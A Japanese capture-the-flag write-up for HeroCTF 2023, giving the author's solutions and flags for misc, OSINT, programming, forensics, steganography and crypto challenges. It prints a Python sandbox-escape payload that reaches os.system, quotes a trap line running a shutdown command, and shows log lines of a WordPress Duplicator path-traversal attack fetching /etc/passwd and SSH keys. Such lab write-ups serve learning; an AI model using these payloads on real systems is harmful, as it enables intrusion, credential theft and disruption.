この大会は2023/5/13 4:00(JST)~2023/5/15 6:00(JST)に開催されました。
今回もチームで参戦。結果は5795点で1085チーム中27位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome (Misc)
aboutのページの最下部にフラグが書いてあった。
Hero{th3_l4w_1s_h4rd_bu7_1t_5_th3_l4w}
Pyjail (Misc)
$ nc dyn-03.heroctf.fr 14753 >> print("".__class__.__mro__[1].__subclasses__()) [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]
>> "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('ls -la') total 16 drwxr-xr-x 1 root root 4096 May 12 10:35 . drwxr-xr-x 1 root root 4096 May 12 21:44 .. -rwsr-xr-x 1 root root 133 May 12 10:17 entry.sh -rwsr-xr-x 1 root root 845 May 12 10:17 pyjail.py >> "".__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('cat pyjail.py') #! /usr/bin/python3 # FLAG : Hero{nooooo_y0u_3sc4p3d!!} def jail(): user_input = input(">> ") filtered = ["eval", "exec"] valid_input = True for f in filtered: if f in user_input: print("You're trying something fancy aren't u ?") valid_input = False break for l in user_input: if ord(l) < 23 or ord(l) > 126: print("You're trying something fancy aren't u ?") valid_input = False break if valid_input: try: exec(user_input, {'__builtins__':{'print': print, 'globals': globals}}, {}) except: print("An error occured. But which...") def main(): try: while True: jail() except KeyboardInterrupt: print("Bye") if __name__ == "__main__": main()
スクリプトのコード内にコメントとしてフラグが書いてあった。
Hero{nooooo_y0u_3sc4p3d!!}
OpenPirate (OSINT)
Google検索で"heroctf.pirate"を検索すると、以下のページが見つかる。
https://archive.closed.social/sitemap.xml
その中で該当する箇所を検索すると、以下が見つかる。
<loc>https://archive.ph/2023.05.13-135458/http://heroctf.pirate/</loc>
https://archive.ph/2023.05.13-135458/http://heroctf.pirate/にアクセスしてみると、フラグが見つかった。
Hero{OpenNIC_is_free!!!3586105739}
Math Trap (Prog)
計算して答えていけばよいが、途中で以下のトラップがある。
exec("import platform,os;os.system('shutdown -h now')if platform.system()in'Linux'else os.system('shutdown -s')")
"exec"から始まる場合は何も答えないようにする。
#!/usr/bin/env python3 from pwn import * p = remote('static-01.heroctf.fr', 8000) for _ in range(2): data = p.recvline().decode().rstrip() print(data) for i in range(100): print('Round %d' % (i + 1)) data = p.recvline().decode().rstrip() print(data) if data.startswith('exec'): ans = '' else: ans = str(eval(data)) data = p.recvuntil(b'=').decode() print(data + ans) p.sendline(ans.encode()) data = p.recvline().decode().rstrip() print(data) for _ in range(2): data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to static-01.heroctf.fr on port 8000: Done Can you calculate these for me ? Round 1 47 * 99 =4653 Round 2 22 - 39 =-17 Round 3 60 // 21 =2 : Round 98 2 * 86 =172 Round 99 63 // 69 =0 Round 100 exec("import platform,os;os.system('shutdown -h now')if platform.system()in'Linux'else os.system('shutdown -s')") = That was a trap, nice job ! Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d} [*] Closed connection to static-01.heroctf.fr port 8000
Hero{E4sy_ch4ll3ng3_bu7_tr4pp3d}
cub (Prog)
正方形になるパズルで対角線の文字を拾えばフラグになる。まず上と左にないものを探し、(0, 0)の位置に置く。次に右隣りにつなげていき、0行目を並べる。さらに(0, 0)から下につなげていき、0列目を並べる。あとは左と上がつながるよう並べていく。
#!/usr/bin/env python3 import pickle import math with open('puzzle.pickle', 'rb') as f: pieces = pickle.load(f) size = int(math.sqrt(len(pieces))) puzzle = [[] for i in range(size)] ## (0, 0) ## for piece1 in pieces: found = False for piece2 in pieces: if piece1[0] == piece2[2]: found = True break elif piece1[3] == piece2[1]: found = True break if not found: puzzle[0].append(piece1) break ## (1, 0) - (63, 0) ## for x in range(size - 1): left = puzzle[0][x][1] for piece in pieces: if piece[3] == left: puzzle[0].append(piece) break ## (0, 1) - (0, 63) ## for y in range(size - 1): up = puzzle[y][0][2] for piece in pieces: if piece[0] == up: puzzle[y + 1].append(piece) break ## (1, 1) - (63, 63) ## for y in range(1, size): for x in range(1, size): left = puzzle[y][x - 1][1] up = puzzle[y - 1][x][2] found = False for piece in pieces: if piece[3] == left and piece[0] == up: found = True puzzle[y].append(piece) break assert found flag = '' for i in range(size): flag += puzzle[i][i][4] flag = 'Hero{%s}' % flag print(flag)
Hero{d98e58021ab8454de195cc2eeb5ed3865dfec6bae3bebf3e0ec2f8b32621c1aa}
e-pu (Prog)
問題cubの3次元版。2次元と同様に(0, 0, 0)の位置を探し、そこから2次元分を並べる。それを3次元の方向に繰り返し行う。
#!/usr/bin/env python3 import pickle import gmpy2 with open('puzzle.pickle', 'rb') as f: pieces = pickle.load(f) size, success = gmpy2.iroot(len(pieces), 3) assert success puzzle = [] for z in range(size): part = [[] for i in range(size)] ## (0, 0) ## if z == 0: for piece1 in pieces: found = False for piece2 in pieces: if piece1[0] == piece2[3]: found = True break elif piece1[4] == piece2[1]: found = True break elif piece1[2] == piece2[5]: found = True break if not found: part[0].append(piece1) break else: front = puzzle[z - 1][0][0][5] for piece in pieces: if piece[2] == front: part[0].append(piece) break ## (1, 0) - (63, 0) ## for x in range(size - 1): left = part[0][x][1] for piece in pieces: if piece[4] == left: part[0].append(piece) break ## (0, 1) - (0, 63) ## for y in range(size - 1): up = part[y][0][3] for piece in pieces: if piece[0] == up: part[y + 1].append(piece) break ## (1, 1) - (63, 63) ## for y in range(1, size): for x in range(1, size): left = part[y][x - 1][1] up = part[y - 1][x][3] found = False for piece in pieces: if piece[4] == left and piece[0] == up: found = True part[y].append(piece) break assert found puzzle.append(part) flag = '' for i in range(size): flag += puzzle[i][i][i][6] flag = 'Hero{%s}' % flag print(flag)
Hero{a0b5ccfaf13144c0292a584aac4c3753}
dev.corp 1/4 (Forensic)
Web サーバーのログから攻撃者によって使用された脆弱性のCVE、攻撃者によって回復された最も機密性の高いファイルの絶対パスを答える問題。
以下のようなログがあり、ディレクトリトラバーサルをしているようなURLがあることがわかる。
"GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa_backup HTTP/1.1" 200 2963 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
URLのパスからWordPressプラグイン「Duplicator」のディレクトリトラバーサルの脆弱性を使っていることがわかる。CVE ID は CVE-2020-11738。該当するログを検索する。
$ cat access.log | grep duplicator_download internalproxy.devcorp.local - - [02/May/2023:13:12:29 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../etc/passwd HTTP/1.1" 200 2240 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" internalproxy.devcorp.local - - [02/May/2023:13:12:46 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa HTTP/1.1" 500 354 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" internalproxy.devcorp.local - - [02/May/2023:13:13:03 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/config HTTP/1.1" 200 531 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0" internalproxy.devcorp.local - - [02/May/2023:13:13:17 +0000] "GET //wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../../home/webuser/.ssh/id_rsa_backup HTTP/1.1" 200 2963 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0"
最も機密性の高いファイルは /home/webuser/.ssh/id_rsa_backup
Hero{CVE-2020-11738:/home/webuser/.ssh/id_rsa_backup}
Heap (Forensic)
Visual VMでJavaヒープダンプファイルを開く。
オブジェクトでheroを検索すると、com.hero.cryptedsecretパッケージのクラスを確認できる。その中でAESEncrypt#1のフィールドを見ると、以下の設定がある。
K_E__Y = java.lang.String#761 : 995253995448505150995756525510150 - value = [99, 52, 53, 99, 54, 48, 50, 51, 50, 99, 57, 56, 52, 55, 101, 50] message = java.lang.String#759 : 107836873115667084899751439776113691128676881161151121007611510156879910869104981137176105113118775410761 - value = [107, 83, 68, 73, 115, 66, 70, 84, 89, 97, 51, 43, 97, 76, 113, 69, 112, 86, 76, 88, 116, 115, 112, 100, 76, 115, 101, 56, 87, 99, 108, 69, 104, 98, 113, 71, 76, 105, 113, 118, 77, 54, 107, 61]
このmessageをbase64デコードして、このK_E__Yを鍵としてAES復号を行う。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from base64 import * key = bytes([99, 52, 53, 99, 54, 48, 50, 51, 50, 99, 57, 56, 52, 55, 101, 50]) ct = bytes([107, 83, 68, 73, 115, 66, 70, 84, 89, 97, 51, 43, 97, 76, 113, 69, 112, 86, 76, 88, 116, 115, 112, 100, 76, 115, 101, 56, 87, 99, 108, 69, 104, 98, 113, 71, 76, 105, 113, 118, 77, 54, 107, 61]) cipher = AES.new(key, AES.MODE_ECB) flag = unpad(cipher.decrypt(b64decode(ct)), 16).decode() print(flag)
Hero{D1G_1NT0_J4V4_H34P}
PDF-Mess (Steganography)
PDF Stream Dumperで開くと、「110 0x37976-0x...」のオブジェクトに以下が書いてある。
const CryptoJS=require('crypto-js'),key='3d3067e197cf4d0a',ciphertext=CryptoJS['AES']['encrypt'](message,key)['toString'](),cipher='U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod';
AES暗号で鍵と暗号文があるので、復号する。
$ cat solve.js const CryptoJS = require('crypto-js'); key = '3d3067e197cf4d0a'; message = 'U2FsdGVkX1+2k+cHVHn/CMkXGGDmb0DpmShxtTfwNnMr9dU1I6/GQI/iYWEexsod'; const flag = CryptoJS.AES.decrypt(message, key); console.log(flag.toString(CryptoJS.enc.Utf8)); $ node solve.js Hero{M4L1C10U5_C0D3_1N_PDF}
Hero{M4L1C10U5_C0D3_1N_PDF}
Subliminal#2 (Steganography)
動画をフレームごとに静止画に分割してみる。
#!/usr/bin/env python3 import cv2 movie = cv2.VideoCapture('subliminal_hide.mp4') nframe = int(movie.get(cv2.CAP_PROP_FRAME_COUNT)) for i in range(nframe): ret, frame = movie.read() cv2.imwrite('frames/subliminal_hide_' + str(i).zfill(4) + '.png', frame)
どのフレームにもフラグは見つからない。よく見ると20×20の正方形が各画像で移動して表示されているので、切り出して結合してみる。
#!/usr/bin/env python3 from PIL import Image CELL_SIZE = 20 WIDTH = 1280 HEIGHT = 720 WIDTH_COUNT = WIDTH // CELL_SIZE HEIGHT_COUNT = HEIGHT // CELL_SIZE FILE_FORMAT = 'frames/subliminal_hide_%04d.png' output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255)) for y in range(HEIGHT_COUNT): for x in range(WIDTH_COUNT): fname = FILE_FORMAT % (x + y * WIDTH_COUNT) img = Image.open(fname).convert('RGB') img_crop = img.crop((x * CELL_SIZE, y * CELL_SIZE, (x + 1) * CELL_SIZE, (y + 1) * CELL_SIZE)) output_img.paste(img_crop, (x * CELL_SIZE, y * CELL_SIZE)) output_img.save('flag.png')
Hero{Not_So_Subliminal}
Hyper Loop (Crypto)
32回異なる6バイトのXORキーで暗号化されている。何回暗号化されても6バイトのXORキーで暗号化されていることには変わらない。フラグが"Hero{"から始まり"}"で終わることからXORキーを算出し、復号する。
#!/usr/bin/env python3 enc = b'\x05p\x07MS\xfd4eFPw\xf9}%\x05\x03\x19\xe8' flag_head = b'Hero{' flag_tail = b'}' key = b'' for i in range(len(flag_head)): key += bytes([flag_head[i] ^ enc[i]]) key += bytes([flag_tail[-1] ^ enc[-1]]) flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ key[i % len(key)]) print(flag)
Hero{hyp3r_l00p!1}
Lossy (Crypto)
与えられたスクリプトのコードは以下のようになっている。
from cryptography.hazmat.primitives.ciphers.algorithms import AES from cryptography.hazmat.primitives.ciphers import Cipher, modes from secret import flag, key assert len(flag) == 32 assert len(key) == 16 # should be equivalent to .hex() (probably) to_hex = lambda x: "".join(hex(k)[2:] for k in x) def encrypt(pt, key): aes = Cipher(AES(key), modes.ECB()) enc = aes.encryptor() ct = enc.update(pt) ct += enc.finalize() return ct ct = to_hex(encrypt(flag, key)) key = to_hex(key) print(f'{ct = }') print(f'{key = }') # ct = '17c69a812e76d90e455a346c49e22fb6487d9245b3a90af42e67c7b7c3f2823' # key = 'b5295cd71d2f7cedb377c2ab6cb93'
to_hexは1バイト単位で16進数が1桁の場合、0が削除される。ctの16進数表記は63バイトなので、偶数インデックスのどこかに'0'が入る。さらに'0'の位置から、前半31バイトのどこかに'0'が入る。
またkeyの16進数表記は29バイトなので、偶数インデックスの3箇所に'0'が入る。
ctの16進数表記の後半32バイトについて、鍵のブルートフォースで復号し、鍵を求める。その後ctの16進数表記の前半32バイトについて、暗号文のブルートフォースで復号する。
#!/usr/bin/env python3 from cryptography.hazmat.primitives.ciphers.algorithms import AES from cryptography.hazmat.primitives.ciphers import Cipher, modes import itertools def is_printable(s): for c in s: if c < 32 or c > 126: return False return True lost_ct = '17c69a812e76d90e455a346c49e22fb6487d9245b3a90af42e67c7b7c3f2823' lost_key = 'b5295cd71d2f7cedb377c2ab6cb93' ct1 = bytes.fromhex(lost_ct[31:]) for x in itertools.combinations_with_replacement(list(range(len(lost_key))), 3): key = lost_key[:x[0]] + '0' + lost_key[x[0]:x[1]] + '0' \ + lost_key[x[1]:x[2]] + '0' + lost_key[x[2]:] key = bytes.fromhex(key) aes = Cipher(AES(key), modes.ECB()) dec = aes.decryptor() pt1 = dec.update(ct1) pt1 += dec.finalize() if is_printable(pt1): break for x in range(31): ct = bytes.fromhex(lost_ct[:x] + '0' + lost_ct[x:]) aes = Cipher(AES(key), modes.ECB()) dec = aes.decryptor() pt = dec.update(ct) pt += dec.finalize() if is_printable(pt): break flag = pt.decode() print(flag)
Hero{R41ders_0f_th3_l0st_byt3s!}
Futile (Crypto)
$ nc static-01.heroctf.fr 9001 Hero{6f1c503c4851a3b12fc410eef11a384be41ecd255e1b96a8c423639d} Hero{a5640e51cd7787f7e9abd34eec9fae8cf2838114070ece6cbaaa90ef} Hero{8fdc1d14cf565a65b00ebd1114889c630e20e5638ec7a309f4da2caf}
サーバの処理概要は以下の通り。
・以下繰り返し ・'Hero{' + mask(flag[5:-1]) + '}\n'を表示 ・mask(flag[5:-1]) ※flag = flag[5:-1]とする。 ・flagの各文字とget_uint8()のXORの16進数表記 ・get_uint8() ・binl2int(lfsr().runKCycle(8))
get_uint8()が0にならないことを使って、何回もmask(flag[5:-1])を表示させバイト単位で登場しない文字を結合すればフラグになる。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) def remove_out_of_scope(flags, s): d = flags for i in range(0, len(s), 2): c = int(s[i:i+2], 16) if c in d[i // 2]: d[i // 2].remove(c) return d def is_finished(flags): for i in range(len(flags)): if len(flags[i]) != 1: return False return True s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('static-01.heroctf.fr', 9001)) data = recvuntil(s, b'\n').rstrip() print(data) l = len(data[5:-1]) // 2 flags = [[code for code in range(32, 127)] for _ in range(l)] flags = remove_out_of_scope(flags, data[5:-1]) s.sendall(b'\n') while True: data = recvuntil(s, b'\n').rstrip() print(data) flags = remove_out_of_scope(flags, data[5:-1]) s.sendall(b'\n') if is_finished(flags): break flag = 'Hero{' for c in flags: flag += chr(c[0]) flag += '}' print(flag)
実行結果は以下の通り。
: Hero{ddb3c924615030534bf63a179b6029716c4a6803f89eafbb707e3553} Hero{10be5cb839329c7ab77f35997036ff9d48de6925c11330305569fd52} Hero{96b340229def133e5c63def483307701a11a73a569b60a6c8ebb73b2} Hero{7c2784533778fd2126411bec79654ddbe5c6c8ebe4cba71a299f5899} Hero{c880dc41221324581240934ee204420acb1a4700678bdd6f8e10087d} Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}
Hero{Int3rn4l_st4t3s_c4nt_b3_nu77}